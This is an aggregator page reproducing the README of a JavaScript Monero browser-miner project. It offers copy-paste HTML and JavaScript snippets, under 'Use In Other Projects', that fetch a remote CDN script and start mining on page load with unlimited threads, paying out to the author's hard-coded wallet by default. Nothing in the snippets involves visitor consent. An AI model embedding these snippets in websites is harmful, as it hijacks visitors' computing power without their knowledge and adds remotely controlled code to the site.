Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/najmajmal/monero-webminer

Javascript monero webminer
https://github.com/najmajmal/monero-webminer

browser-mining crypto crypto-mining crypto-webminer cryptocurrency-mining gulf-moneroocean-stream html-miner javascript-miner javascript-mining miner mining monero monero-browser-miner monero-mining monero-webminer moneroocean webminer webmining xmr xmr-webminer

Last synced: 6 days ago
JSON representation

Javascript monero webminer

Awesome Lists containing this project

README

        

## Monero Webminer

Html & Js code that allows Mining of XMR (Monero) on browsers

# Configure

In index.Html you can configure it your preferences

- Pool
- XMR Wallet
- Miner name
- Threads (-1 means unlimited)
- Miner Password (Optional, Moneroocean does not use password, if your pool does, it is usually "x")

```javascript
server = "wss://ny1.xmrminingproxy.com";
var pool = "gulf.moneroocean.stream:80";
var walletAddress = "INSERT YOUR ADDRESS HERE";
var workerId = "INSERT WORKER NAME"
var threads = -1;
var password = "";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
```
# Running

Open index.html in any web browser and it will automatically start mining.

https://monero-webminer.vercel.app/

# Check Progress

Go to https://moneroocean.stream. This is the pool you are connected to, it will show your hashrate and balance.

# How do i know if it works??

1. Open https://monero-webminer.vercel.app/
2. Also Open https://moneroocean.stream in a new tab
3. Paste in my Monero Address `4657q4dnsjLWtzeW4XN3wG9swFumWAZB9i1pegTLMxVAQy5E5AE8uif42kkHWcWc9vDcLUmzeCf3pV7mmrJQQqqe84dtASi`
4. You will see that "GH-XMR" is Mining. You can also do the same

# Use In Other Projects

HTML




server = "wss://ny1.xmrminingproxy.com";
var pool = "moneroocean.stream";
var walletAddress = "4657q4dnsjLWtzeW4XN3wG9swFumWAZB9i1pegTLMxVAQy5E5AE8uif42kkHWcWc9vDcLUmzeCf3pV7mmrJQQqqe84dtASi";
var workerId = "GH-XMR"
var threads = -1;
var password = "";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;


Javascript import snippet

import 'https://cdn.jsdelivr.net/gh/NajmAjmal/monero-webminer@main/external/javascript.js';

Javascript

// Start Of Mining Code (Javascript)
var script = document.createElement("script");
script.src = "https://cdn.jsdelivr.net/gh/NajmAjmal/monero-webminer@main/script.js";
document.head.appendChild(script);

server = "wss://ny1.xmrminingproxy.com";
var pool = "moneroocean.stream";
var walletAddress = "4657q4dnsjLWtzeW4XN3wG9swFumWAZB9i1pegTLMxVAQy5E5AE8uif42kkHWcWc9vDcLUmzeCf3pV7mmrJQQqqe84dtASi";
var workerId = "GH-XMR"
var threads = -1;
var password = "";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
// End Of Mining Code


# Donate


This software is **100% free** to use, and we would greatly appreciate any donations to help support our work. If you'd like to donate, you can use the following cryptocurrency addresses:

BTC: 33qQZT1F5mWPvqM2bjbxQ3AsSYMXHpJsr6

ETH: 0x641E1449c2f7883F245069f284fC880174b02094

SOL: AeYJTfLnok1nkncnvXFoKXmH8zrvtB7heNL9Q2sKNaFr

XMR: 4657q4dnsjLWtzeW4XN3wG9swFumWAZB9i1pegTLMxVAQy5E5AE8uif42kkHWcWc9vDcLUmzeCf3pV7mmrJQQqqe84dtASi

Thank you for choosing our Monero Webminer. We hope you find it useful and profitable